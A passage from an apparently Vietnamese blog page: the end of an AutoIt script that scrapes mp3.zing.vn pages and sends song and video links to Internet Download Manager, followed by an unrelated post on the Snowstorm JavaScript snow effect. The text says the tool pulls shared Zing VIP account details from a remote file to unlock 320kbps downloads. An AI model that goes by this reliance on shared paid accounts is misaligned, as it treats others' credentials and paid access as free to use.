$tencasy = _stringbetween($b[0], ‘[CDATA[<span style="color: black;">’, "</span>")
$readxml = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($readxml, "|3|" & $tencasy[0] & "|4|")
EndIf
Else
$readxml = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
$tenbh = _stringbetween($a[0], ‘<span style="color: black;"> ‘, "</span>")
FileWrite($readxml, "|0|" & "|1|" & $tenbh[0] & "|2|")
EndIf
WEnd
FileClose($file_open_zingmp3_2)
EndFunc

Func _sentlink()
_filecreate(@TempDir & "\zingmp3_line.txt")
Local $file = FileOpen(@TempDir & "\zingmp3_dl.txt", 0)
If $file = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
While 1
Local $line = FileReadLine($file)
If @error = -1 Then ExitLoop
Global $tenalbumsent = _stringbetween($line, "|0|", "|1|")
Global $link320 = _stringbetween($line, "|7|", "|8|")
Global $link128 = _stringbetween($line, "|5|", "|6|")
Global $tenfilecodau1 = _stringbetween($line, "|1|", "|2|")
Global $tenfilecodau2 = _stringbetween($line, "|3|", "|4|")
Global $tenfilecodau = $tenfilecodau1[0] & " – " & $tenfilecodau2[0]
$tenfile = $tenfilecodau
$tenfile0 = StringRegExpReplace($tenfile, ‘[/|:|?|<|>|"|\\]’, "-")
$tenfile1 = StringRegExpReplace($tenfile0, "[á|à|ạ|ả|ã|â|ấ|ầ|ậ|ẩ|ẫ|ă|ắ|ằ|ặ|ẳ]", "a")
$tenfile2 = StringRegExpReplace($tenfile1, "[é|è|ẹ|ẻ|ẽ|ê|ế|ề|ệ|ể|ễ]", "e")
$tenfile3 = StringRegExpReplace($tenfile2, "[í|ì|ị|ỉ|ĩ]", "i")
$tenfile4 = StringRegExpReplace($tenfile3, "[ó|ò|ọ|ỏ|õ|ô|ố|ồ|ộ|ổ|ỗ|ơ|ớ|ờ|ợ|ở]", "o")
$tenfile5 = StringRegExpReplace($tenfile4, "[ú|ù|ụ|ủ|ũ|ư|ứ|ừ|ự|ử|ữ]", "u")
$tenfile6 = StringRegExpReplace($tenfile5, "[ý|ỳ|ỵ|ỷ|ỹ]", "y")
$tenfile7 = StringRegExpReplace($tenfile6, "[đ]", "d")
$tenfile8 = StringRegExpReplace($tenfile7, "[Á|À|Ạ|Ả|Ã|Â|Ấ|Ầ|Ậ|Ẩ|Ẫ|Ă|Ắ|Ằ|Ặ|Ẳ]", "A")
$tenfile9 = StringRegExpReplace($tenfile8, "[É|È|Ẹ|Ẻ|Ẽ|Ê|Ế|Ề|Ệ|Ể|Ễ]", "E")
$tenfile10 = StringRegExpReplace($tenfile9, "[Í|Ì|Ị|Ỉ|Ĩ]", "I")
$tenfile11 = StringRegExpReplace($tenfile10, "[Ó|Ò|Ọ|Ỏ|Õ|Ô|Ố|Ồ|Ộ|Ổ|Ỗ|Ơ|Ớ|Ờ|Ợ|Ở]", "O")
$tenfile12 = StringRegExpReplace($tenfile11, "[Ú|Ù|Ụ|Ủ|Ũ|Ư|Ứ|Ừ|Ự|Ử|Ữ]", "U")
$tenfile13 = StringRegExpReplace($tenfile12, "[Ý|Ỳ|Ỵ|Ỷ|Ỹ]", "Y")
$tenfile14 = StringRegExpReplace($tenfile13, "[Đ]", "D")
$name = $tenfile14 & ".mp3"
$countline = FileOpen(@TempDir & "\zingmp3_line.txt", $mode2)
FileWrite($countline, $name & @CRLF)
Global $sobaihatgetduoc = _filecountlines(@TempDir & "\zingmp3_line.txt")
GUICtrlSetData($label2, "Album này có tổng số bài hát được lấy " & $sobaihatgetduoc)
Select
Case $sobaihatgetduoc = 1
$number = "01."
Case $sobaihatgetduoc = 2
$number = "02."
Case $sobaihatgetduoc = 3
$number = "03."
Case $sobaihatgetduoc = 4
$number = "04."
Case $sobaihatgetduoc = 5
$number = "05."
Case $sobaihatgetduoc = 6
$number = "06."
Case $sobaihatgetduoc = 7
$number = "07."
Case $sobaihatgetduoc = 8
$number = "08."
Case $sobaihatgetduoc = 9
$number = "09."
Case Else
$number = $sobaihatgetduoc & "."
EndSelect
Global $idmsave = (GUICtrlRead($input1))
$savealbum = ‘"’ & $idmsave & "\" & $tenalbumsent[0] & ‘"’
Local $idmsavealbum = StringReplace($savealbum, "\\", "\")
Select
Case GUICtrlRead($combo3) = "Lấy số thứ tự"
Select
Case GUICtrlRead($combo2) = "320 Kbps"
$hlistview = GUICtrlCreateListViewItem($sobaihatgetduoc & "|" & "MP3-320Kbps|" & $name & "|Album : " & $tenalbumsent[0] & "|" & $link320[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $link320[0] & " /p " & $idmsavealbum & " /f " & ‘"’ & $number & $name & ‘"’)
Sleep(50)
Case GUICtrlRead($combo2) = "128 Kbps"
$hlistview = GUICtrlCreateListViewItem($sobaihatgetduoc & "|" & "MP3-128Kbps|" & $name & "|Album : " & $tenalbumsent[0] & "|" & $link128[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $link128[0] & " /p " & $idmsavealbum & " /f " & ‘"’ & $number & $name & ‘"’)
Sleep(50)
Case Else
MsgBox(0, "Thông báo lỗi", "Bạn chưa chọn chất lượng 320 Kbps hay 128 Kbps" & @CRLF & "Tool tự động chọn 320Kbps")
GUICtrlSetData($combo2, "320 Kbps")
$hlistview = GUICtrlCreateListViewItem($sobaihatgetduoc & "|" & "MP3-320Kbps|" & $name & "|Album : " & $tenalbumsent[0] & "|" & $link320[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $link320[0] & " /p " & $idmsavealbum & " /f " & ‘"’ & $number & $name & ‘"’)
Sleep(50)
EndSelect
Case GUICtrlRead($combo3) = "Không lấy số thứ tự"
Select
Case GUICtrlRead($combo2) = "320 Kbps"
$hlistview = GUICtrlCreateListViewItem($sobaihatgetduoc & "|" & "MP3-320Kbps|" & $name & "|Album : " & $tenalbumsent[0] & "|" & $link320[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $link320[0] & " /p " & $idmsavealbum & " /f " & ‘"’ & $name & ‘"’)
Sleep(50)
Case GUICtrlRead($combo2) = "128 Kbps"
$hlistview = GUICtrlCreateListViewItem($sobaihatgetduoc & "|" & "MP3-128Kbps|" & $name & "|Album : " & $tenalbumsent[0] & "|" & $link128[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $link128[0] & " /p " & $idmsavealbum & " /f " & ‘"’ & $name & ‘"’)
Sleep(50)
Case Else
MsgBox(0, "Thông báo lỗi", "Bạn chưa chọn chất lượng 320 Kbps hay 128 Kbps" & @CRLF & "Tool tự động chọn 320Kbps")
GUICtrlSetData($combo2, "320 Kbps")
$hlistview = GUICtrlCreateListViewItem($sobaihatgetduoc & "|" & "MP3-320Kbps|" & $name & "|Album : " & $tenalbumsent[0] & "|" & $link320[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $link320[0] & " /p " & $idmsavealbum & " /f " & ‘"’ & $name & ‘"’)
Sleep(50)
EndSelect
EndSelect
WEnd
FileClose($file)
_filecreate(@TempDir & "\zingmp3_dl.txt")
EndFunc

Func _sentlinksingle()
_filecreate(@TempDir & "\zingmp3_line.txt")
Local $file = FileOpen(@TempDir & "\zingmp3_dl.txt", 0)
If $file = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
While 1
Local $line = FileReadLine($file)
If @error = -1 Then ExitLoop
Global $tenalbumsent = _stringbetween($line, "|0|", "|1|")
Global $link320 = _stringbetween($line, "|7|", "|8|")
Global $link128 = _stringbetween($line, "|5|", "|6|")
Global $tenfilecodau1 = _stringbetween($line, "|1|", "|2|")
Global $tenfilecodau2 = _stringbetween($line, "|3|", "|4|")
Global $tenfilecodau = $tenfilecodau1[0] & " – " & $tenfilecodau2[0]
$tenfile = $tenfilecodau
$tenfile0 = StringRegExpReplace($tenfile, ‘[/|:|?|<|>|"|\\]’, "-")
$tenfile1 = StringRegExpReplace($tenfile0, "[á|à|ạ|ả|ã|â|ấ|ầ|ậ|ẩ|ẫ|ă|ắ|ằ|ặ|ẳ]", "a")
$tenfile2 = StringRegExpReplace($tenfile1, "[é|è|ẹ|ẻ|ẽ|ê|ế|ề|ệ|ể|ễ]", "e")
$tenfile3 = StringRegExpReplace($tenfile2, "[í|ì|ị|ỉ|ĩ]", "i")
$tenfile4 = StringRegExpReplace($tenfile3, "[ó|ò|ọ|ỏ|õ|ô|ố|ồ|ộ|ổ|ỗ|ơ|ớ|ờ|ợ|ở]", "o")
$tenfile5 = StringRegExpReplace($tenfile4, "[ú|ù|ụ|ủ|ũ|ư|ứ|ừ|ự|ử|ữ]", "u")
$tenfile6 = StringRegExpReplace($tenfile5, "[ý|ỳ|ỵ|ỷ|ỹ]", "y")
$tenfile7 = StringRegExpReplace($tenfile6, "[đ]", "d")
$tenfile8 = StringRegExpReplace($tenfile7, "[Á|À|Ạ|Ả|Ã|Â|Ấ|Ầ|Ậ|Ẩ|Ẫ|Ă|Ắ|Ằ|Ặ|Ẳ]", "A")
$tenfile9 = StringRegExpReplace($tenfile8, "[É|È|Ẹ|Ẻ|Ẽ|Ê|Ế|Ề|Ệ|Ể|Ễ]", "E")
$tenfile10 = StringRegExpReplace($tenfile9, "[Í|Ì|Ị|Ỉ|Ĩ]", "I")
$tenfile11 = StringRegExpReplace($tenfile10, "[Ó|Ò|Ọ|Ỏ|Õ|Ô|Ố|Ồ|Ộ|Ổ|Ỗ|Ơ|Ớ|Ờ|Ợ|Ở]", "O")
$tenfile12 = StringRegExpReplace($tenfile11, "[Ú|Ù|Ụ|Ủ|Ũ|Ư|Ứ|Ừ|Ự|Ử|Ữ]", "U")
$tenfile13 = StringRegExpReplace($tenfile12, "[Ý|Ỳ|Ỵ|Ỷ|Ỹ]", "Y")
$tenfile14 = StringRegExpReplace($tenfile13, "[Đ]", "D")
$name = $tenfile14 & ".mp3"
$countline = FileOpen(@TempDir & "\zingmp3_line.txt", $mode2)
GUICtrlSetData($label2, "Đã gửi link của single này tới IDM")
FileWrite($countline, $name & @CRLF)
Global $sobaihatgetduoc = _filecountlines(@TempDir & "\zingmp3_line.txt")
Select
Case GUICtrlRead($combo2) = "320 Kbps"
$hlistview = GUICtrlCreateListViewItem("Single|" & "MP3-320Kbps|" & $name & "|Single : " & $tenalbumsent[0] & "|" & $link320[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $link320[0] & " /p " & $idmsave & " /f " & ‘"’ & $name & ‘"’)
Sleep(50)
Case GUICtrlRead($combo2) = "128 Kbps"
$hlistview = GUICtrlCreateListViewItem("Single|" & "MP3-128Kbps|" & $name & "|Single : " & $tenalbumsent[0] & "|" & $link128[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $link320[0] & " /p " & $idmsave & " /f " & ‘"’ & $name & ‘"’)
Sleep(50)
Case Else
MsgBox(0, "Thông báo lỗi", "Bạn chưa chọn chất lượng 320 Kbps hay 128 Kbps" & @CRLF & "Tool tự động chọn 320Kbps")
GUICtrlSetData($combo2, "320 Kbps")
$hlistview = GUICtrlCreateListViewItem("Single|" & "MP3-320Kbps|" & $name & "|Single : " & $tenalbumsent[0] & "|" & $link320[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $link320[0] & " /p " & $idmsave & " /f " & ‘"’ & $name & ‘"’)
Sleep(50)
EndSelect
WEnd
FileClose($file)
_filecreate(@TempDir & "\zingmp3_dl.txt")
EndFunc

Func _getlinkvideo()
Global $strvideo = BinaryToString(InetRead($line_open_final, 1), 4)
Global $videolinkdl = _stringbetween($strvideo, "http://mp3.zing.vn/html5/video", ‘"’)
Global $videolinkdl2 = "http://mp3.zing.vn/html5/video" & $videolinkdl[0]
$tenfilevideo = _stringbetween($line_open_final, "http://mp3.zing.vn/video-clip/", "/")
$tenfilevideo14 = StringRegExpReplace($tenfilevideo[0], "[-]", " ")
$name = $tenfilevideo14 & ".mp4"
GUICtrlSetData($label1, "Đang thự hiện link " & $name)
Global $filevideoghi = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($filevideoghi, $videolinkdl2 & @CRLF)
$xuatravideolink = FileRead(@TempDir & "\zingmp3_dl.txt")
Global $solinkdalam = _filecountlines(@TempDir & "\zingmp3_dl.txt")
GUICtrlSetData($label1, "Đang thực hiện link video clip : " & $name)
GUICtrlSetData($label2, "THÔNG BÁO : ĐÃ LẤY ĐƯỢC " & $solinkdalam & " LINK " & $name)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Local $idmsavevideo = (GUICtrlRead($input1))
Run($pathidm & " /n /a /d " & $videolinkdl2 & " /p " & $idmsavevideo & " /f " & ‘"’ & $name & ‘"’)
$hlistview = GUICtrlCreateListViewItem("Clip|" & "Video MP4|" & $tenfilevideo14 & "|Video Clip" & "|" & $videolinkdl2, $listview1)
_filecreate(@TempDir & "\zingmp3_dl.txt")
EndFunc

Func _nghesy()
_filecreate(@TempDir & "\zingmp3.txt")
Global $line_nghe_sy = _stringbetween($line_open_final, "http://mp3.zing.vn/nghe-si/", "/")
Global $line_nghe_sy_ten = StringRegExpReplace($line_nghe_sy[0], "-", " ")
GUICtrlSetData($label1, "Đang thực hiện link nghệ sĩ " & $line_nghe_sy[0])
$oie.navigate("http://mp3.zing.vn/nghe-si/" & $line_nghe_sy[0] & "/bai-hat?p=1")
_ieloadwait($oie)
$shtml = _iedocreadhtml($oie)
$timsotrang = _stringbetween($shtml, "Trang 1", "</ul>")
If @error Then
$sotrangchinhxac = 1
Else
$sotrang = _stringbetween($timsotrang[0], "Trang cuối", "Cuối")
If @error Then
$sotrang5 = _stringbetween($timsotrang[0], "Trang ", "5")
If @error Then
$sotrang4 = _stringbetween($timsotrang[0], "Trang ", "4")
If @error Then
$sotrang3 = _stringbetween($timsotrang[0], "Trang ", "3")
If @error Then
$sotrang2 = _stringbetween($timsotrang[0], "Trang ", "2")
If @error Then
$sotrangchinhxac = 1
Else
$sotrangchinhxac = 2
EndIf
Else
$sotrangchinhxac = 3
EndIf
Else
$sotrangchinhxac = 4
EndIf
Else
$sotrangchinhxac = 5
EndIf
Else
$timsotrangcuoi = _stringbetween($sotrang[0], "bai-hat?p=", ‘"’)
$sotrangchinhxac = $timsotrangcuoi[0]
EndIf
EndIf
$i = 0
Do
$oie.navigate("http://mp3.zing.vn/nghe-si/" & $line_nghe_sy[0] & "/bai-hat?p=" & $i + 1)
GUICtrlSetData($label2, "http://mp3.zing.vn/nghe-si/" & $line_nghe_sy[0] & "/bai-hat?p=" & $i + 1)
_ieloadwait($oie)
$shtml = _iedocreadhtml($oie)
$linkdlns = _stringbetween($shtml, ‘<ul class="song-list">’, ‘<div class="paging">’)
If @error Then
$j = 0
Do
$oie.navigate("http://mp3.zing.vn/nghe-si/" & $line_nghe_sy[0] & "/bai-hat?p=" & $i + 1)
GUICtrlSetData($label2, "http://mp3.zing.vn/nghe-si/" & $line_nghe_sy[0] & "/bai-hat?p=" & $i + 1)
_ieloadwait($oie)
$shtml = _iedocreadhtml($oie)
$linkdlns = _stringbetween($shtml, ‘<ul class="song-list">’, ‘<div class="paging">’)
If @error Then
Else
$readnghesy = FileOpen(@TempDir & "\zingmp3.txt", $mode1)
FileWrite($readnghesy, $linkdlns[0] & @CRLF & "THONGBAOBILOI")
_nghesydl()
_sentlinknghesy()
ExitLoop
EndIf
$j = $j + 1
Until $j = 0
Else
$readnghesy = FileOpen(@TempDir & "\zingmp3.txt", $mode1)
FileWrite($readnghesy, $linkdlns[0] & @CRLF)
_nghesydl()
_sentlinknghesy()
EndIf
$i = $i + 1
Until $i = $sotrangchinhxac
GUICtrlSetData($label1, "")
GUICtrlSetData($label2, "")
EndFunc

Func _nghesydl()
_filecreate(@TempDir & "\zingmp3_dl.txt")
Local $file_open_nghe_sy_dl = FileOpen(@TempDir & "\zingmp3.txt", 0)
If $file_open_nghe_sy_dl = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
While 1
Local $line_open_nghe_sy_dl = FileReadLine($file_open_nghe_sy_dl)
If @error = -1 Then ExitLoop
$nghesy_baihat = _stringbetween($line_open_nghe_sy_dl, ‘sname="’, ‘"’)
If @error Then
$nghesy_linkdl = _stringbetween($line_open_nghe_sy_dl, "http://mp3.zing.vn/download/song/", ‘"’)
If @error Then
Else
Local $ghilinkdlns = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($ghilinkdlns, "|4|http://mp3.zing.vn/download/song/" & $nghesy_linkdl[0] & "|5|" & @CRLF)
EndIf
Else
Local $ghilinkdlns = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($ghilinkdlns, "|2|" & $nghesy_baihat[0] & "|3|")
EndIf
$nghesy_stt = _stringbetween($line_open_nghe_sy_dl, ‘"song-num">’, "</span>")
If @error Then
Else
Local $ghilinkdlns = FileOpen(@TempDir & "\zingmp3_dl.txt", $mode2)
FileWrite($ghilinkdlns, "|0|" & $nghesy_stt[0] & "|1|")
EndIf
WEnd
EndFunc

Func _sentlinknghesy()
Local $file_open_ns_dl = FileOpen(@TempDir & "\zingmp3_dl.txt", 0)
Global $idmsave = (GUICtrlRead($input1))
$savealbumns = ‘"’ & $idmsave & "\" & $line_nghe_sy_ten & ‘"’
Local $idmsavealbum = StringReplace($savealbumns, "\\", "\")
If $file_open_ns_dl = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
While 1
Local $line_open_ns_dl = FileReadLine($file_open_ns_dl)
If @error = -1 Then ExitLoop
GUICtrlSetData($label2, "Đang gửi link của nghệ sĩ này tới IDM")
$ns_stt = _stringbetween($line_open_ns_dl, "|0|", "|1|")
$ns_tenbh = _stringbetween($line_open_ns_dl, "|2|", "|3|")
$ns_linkdl = _stringbetween($line_open_ns_dl, "|4|", "|5|")
$hlistview = GUICtrlCreateListViewItem($ns_stt[0] & "|" & "MP3-320Kbps|" & $ns_tenbh[0] & "|Nghệ sĩ : " & $line_nghe_sy_ten & "|" & $ns_linkdl[0], $listview1)
Sleep(2)
Global $pathidm = RegRead("HKEY_CURRENT_USER\Software\DownloadManager", "ExePath")
Run($pathidm & " /n /a /d " & $ns_linkdl[0] & " /p " & $idmsavealbum)
Sleep(50)
WEnd
_filecreate(@TempDir & "\zingmp3_dl.txt")
EndFunc

Func _input()
_filecreate(@TempDir & "\zingmp3_input.txt")
_filecreate(@TempDir & "\zingmp3_output.txt")
Local $inputopen = FileOpen(@TempDir & "\zingmp3_input.txt", $mode2)
Global $inputlink = (GUICtrlRead($edit1))
FileWrite($inputopen, $inputlink & @CRLF)
Global $solink = _filecountlines(@TempDir & "\zingmp3_input.txt")
GUICtrlSetData($label1, $solink & " LINK")
Local $file = FileOpen(@TempDir & "\zingmp3_input.txt", 0)
If $file = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
While 1
Local $line = FileReadLine($file)
If @error = -1 Then ExitLoop
$linkzing = _stringbetween($line, "http://mp3.zing.vn/", "/")
If @error Then
Else
$loclinkhople = _stringbetween($line, "http://mp3.zing.vn/", "/")
Select
Case $loclinkhople[0] = "album"
Local $inputopen = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($inputopen, $line & @CRLF)
Case $loclinkhople[0] = "video-clip"
Local $inputopen = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($inputopen, $line & @CRLF)
Case $loclinkhople[0] = "bai-hat"
Local $inputopen = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($inputopen, $line & @CRLF)
Case $loclinkhople[0] = "nghe-si"
$locnghesy = _stringbetween($line, "http://mp3.zing.vn/nghe-si/", "/")
If @error Then
$locnghesy = _stringbetween($line & "/", "http://mp3.zing.vn/nghe-si/", "/")
Local $inputopen = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($inputopen, "http://mp3.zing.vn/nghe-si/" & $locnghesy[0] & "/" & @CRLF)
Else
Local $inputopen = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($inputopen, "http://mp3.zing.vn/nghe-si/" & $locnghesy[0] & "/" & @CRLF)
EndIf
EndSelect
EndIf
WEnd
FileClose($file)
$inputlinkthat = FileRead(@TempDir & "\zingmp3_output.txt")
GUICtrlSetData($edit1, $inputlinkthat)
EndFunc

Func _output()
Global $sozing = _filecountlines(@TempDir & "\zingmp3_output.txt")
If $sozing = 0 Then
MsgBox(0, "Thông báo lỗi", "Không có link mp3.zing.vn hợp lệ. Vui lòng copy lại rồi click Paste sau đó nhấn Get link")
Else
_filecreate(@TempDir & "\zingmp3_output_final.txt")
Dim $oldarray, $newarray[1]
Dim $infile = @TempDir & "\zingmp3_output.txt"
Dim $outfile = @TempDir & "\zingmp3_output_final.txt"
_filereadtoarray($infile, $oldarray)
For $x = 1 To $oldarray[0]
$result = _arraysearch($newarray, $oldarray[$x])
If $result < 0 Then
$newarray[0] += 1
_arrayadd($newarray, $oldarray[$x])
EndIf
Next
FileDelete($outfile)
For $x = 1 To $newarray[0]
FileWriteLine($outfile, $newarray[$x])
Next
$inputlinkthat = FileRead(@TempDir & "\zingmp3_output_final.txt")
GUICtrlSetData($edit1, $inputlinkthat)
Global $solinkthat = _filecountlines(@TempDir & "\zingmp3_output_final.txt")
GUICtrlSetData($label1, "Đã xóa " & ($solink – $solinkthat) & " của tổng số " & $solink & " link được nhập vào. Sau khi lọc còn lại " & $solinkthat & " link để tool có thể làm việc")
EndIf
EndFunc

Func _cellection()
_filecreate(@TempDir & "\zingmp3_input.txt")
_filecreate(@TempDir & "\zingmp3_output.txt")
_filecreate(@TempDir & "\zingmp3_output_final.txt")
$addcollection = (GUICtrlRead($edit2))
$shtml = BinaryToString(InetRead($addcollection, 1), 4)
Local $file_collection_2 = FileOpen(@TempDir & "\zingmp3_input.txt", $mode1)
FileWrite($file_collection_2, $shtml)
Local $file_collection = FileOpen(@TempDir & "\zingmp3_input.txt", 0)
If $file_collection = -1 Then
MsgBox(0, "Error", "Unable to open file.")
Exit
EndIf
While 1
Local $line_collection = FileReadLine($file_collection)
If @error = -1 Then ExitLoop
Select
Case GUICtrlRead($combo4) = "Tất cả"
GUICtrlSetData($label1, "Đang lọc để lấy |Album|Bài hát|Clip-Video|Nghệ sĩ)")
GUICtrlSetData($label2, "Vui lòng chờ,sau khi tool lọc xong bạn chỉ cần nhấn vào Get Link")
$collection_album = _stringbetween($line_collection, "/album/", ".html")
If @error Then
$collection_baihat = _stringbetween($line_collection, "/bai-hat/", ".html")
If @error Then
$collection_nghesy = _stringbetween($line_collection, "/nghe-si/", ‘"’)
If @error Then
$collection_video = _stringbetween($line_collection, "/video-clip/", ".html")
If @error Then
Else
$ghicollection = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($ghicollection, "http://mp3.zing.vn/video-clip/" & $collection_video[0] & ".html" & @CRLF)
EndIf
Else
$ghicollection = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($ghicollection, "http://mp3.zing.vn/nghe-si/" & $collection_nghesy[0] & "/" & @CRLF)
EndIf
Else
$ghicollection = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($ghicollection, "http://mp3.zing.vn/bai-hat/" & $collection_baihat[0] & ".html" & @CRLF)
EndIf
Else
$ghicollection = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($ghicollection, "http://mp3.zing.vn/album/" & $collection_album[0] & ".html" & @CRLF)
EndIf
Case GUICtrlRead($combo4) = "Album"
GUICtrlSetData($label1, "Đang lọc để lấy |Album|")
GUICtrlSetData($label2, "Vui lòng chờ, sau khi tool lọc xong bạn chỉ cần nhấn vào Get Link")
$collection_album = _stringbetween($line_collection, "/album/", ".html")
If @error Then
Else
$ghicollection = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($ghicollection, "http://mp3.zing.vn/album/" & $collection_album[0] & ".html" & @CRLF)
EndIf
Case GUICtrlRead($combo4) = "Bài hát"
GUICtrlSetData($label1, "Đang lọc để lấy |Bài hát|")
GUICtrlSetData($label2, "Vui lòng chờ,sau khi tool lọc xong bạn chỉ cần nhấn vào Get Link")
$collection_baihat = _stringbetween($line_collection, "/bai-hat/", ".html")
If @error Then
Else
$ghicollection = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($ghicollection, "http://mp3.zing.vn/bai-hat/" & $collection_baihat[0] & ".html" & @CRLF)
EndIf
Case GUICtrlRead($combo4) = "Clip-Video"
GUICtrlSetData($label1, "Đang lọc để lấy |Clip-Video|")
GUICtrlSetData($label2, "Vui lòng chờ, sau khi tool lọc xong bạn chỉ cần nhấn vào Get Link")
$collection_video = _stringbetween($line_collection, "/video-clip/", ".html")
If @error Then
Else
$ghicollection = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($ghicollection, "http://mp3.zing.vn/video-clip/" & $collection_video[0] & ".html" & @CRLF)
EndIf
Case GUICtrlRead($combo4) = "Nghệ sĩ)"
GUICtrlSetData($label1, "Đang lọc để lấy |Nghệ sĩ")
GUICtrlSetData($label2, "Vui lòng chờ, sau khi tool lọc xong bạn chỉ cần nhấn vào Get Link")
$collection_nghesy = _stringbetween($line_collection, "/nghe-si/", ‘"’)
If @error Then
Else
$ghicollection = FileOpen(@TempDir & "\zingmp3_output.txt", $mode2)
FileWrite($ghicollection, "http://mp3.zing.vn/nghe-si/" & $collection_nghesy[0] & "/" & @CRLF)
EndIf
EndSelect
WEnd
FileClose($file_collection)
Global $sozing = _filecountlines(@TempDir & "\zingmp3_output.txt")
If $sozing = 0 Then
MsgBox(0, "Thông báo: Lỗi", "Không có link mp3.zing.vn hợp lệ. Vui lòng copy lại rồi click Paste sau đó nhấn Get link")
Else
_filecreate(@TempDir & "\zingmp3_output_final.txt")
Dim $oldarray, $newarray[1]
Dim $infile = @TempDir & "\zingmp3_output.txt"
Dim $outfile = @TempDir & "\zingmp3_output_final.txt"
_filereadtoarray($infile, $oldarray)
For $x = 1 To $oldarray[0]
$result = _arraysearch($newarray, $oldarray[$x])
If $result < 0 Then
$newarray[0] += 1
_arrayadd($newarray, $oldarray[$x])
EndIf
Next
FileDelete($outfile)
For $x = 1 To $newarray[0]
FileWriteLine($outfile, $newarray[$x])
Next
EndIf
$so_link_loc_edit2 = _filecountlines(@TempDir & "\zingmp3_output_final.txt")
$xuat_collection_daloc = FileRead(@TempDir & "\zingmp3_output_final.txt")
GUICtrlSetData($edit1, $xuat_collection_daloc)
GUICtrlSetData($label1, "Đã lọc xong link. Bạn đã thu được " & $so_link_loc_edit2 & " link. Bạn có thể lọc theo từng loại để chọn lấy:")
GUICtrlSetData($label2, "Tất cả hoặc chọn lấy Album hoặc chọn lấy Bài hát hoặc chọn lấy Clip-Video hoặc chọn lấy Nghệ sĩ")
MsgBox(0, "Thông báo", "Đã lọc xong link", 2)
EndFunc
[/au3]
Trong tools có download 1 file HTML từ địa chỉ:

http://dl.dropbox.com/u/63311588/czv4.1.html

để kiểm tra phiên bản mới và thông tin tài khoản vip của ZING. Mình đã save và đính kèm vào code. Mình đã check tài khoản VIP này ko đăng nhập được nên đính kèm vào hy vọng các bạn đừng lấy tài khoản của tác giả vì theo như mình thấy thì cậu ấy chia sẻ hoàn toàn miễn phí và mã nguồn rất sạch (cơ mà cứ có update thì đến lúc ko sạch thì cũng chịu 🙂 )

Chức năng

– Lọc link bài hát từ danh sách bạn nhập vào.
_ Lấy link bài hát từ link bạn nhập vào
– Tự động gửi link qua IDM
– Có thể chọn chất lượng nhạc 128kb / 320kb (tất nhiên là phải có tài khoản vip rồi)
– Nhiều tùy chọn link tinh khác như lưu lại thiết lập, đánh số thứ tự bài hát khi tải về, chọn thư mục download…

Screen shoot

Get Link mp3.zing.vn screen shot
Get Link mp3.zing.vn screen shot

Snowstom: tạo tuyết rơi trên trang web dễ dàng mà đẹp

Hãy để tuyết rơi!!!

Snowstom là một hiệu ứng viết bằng javascript có thể dễ dàng thêm vào các trang web. Nó hoàn toàn miễn phí và rất dễ dàng thiết lập. Snowstom chỉ gói gọn trong 1 tệp tin js không sử dụng hình ảnh cho các hiệu ứng tuyết điều này giảm đáng kể dung lượng cho trang web.

Snowstom Demo
Snowstom Demo

Để sử dụng tất cả điều bạn cần làm là download file snowstorm về tại đây:

github.com/scottschiller/snowstorm/

hoặc tại trang web của tác giả: http://www.schillmania.com/projects/snowstorm/

Sau đó bạn upload file snowstorm.js lên hosting và chèn dòng mã sau vào trang web của bạn:

<script src="snowstorm.js"></script>

Bạn có thể tùy chỉnh tốc độ tuyết rơi nhanh hay chậm, số lượng bông tuyết rơi cùng lúc, tốc độ gió, hướng gió di chuyển theo chuột

Snowstom tương thích hầu hết các trình duyệt cũ (IE 5.x +, Netscape 6 +) cũng như các trình duyệt mới IE 6, 7, 8, Firefox, Safari, Opera.

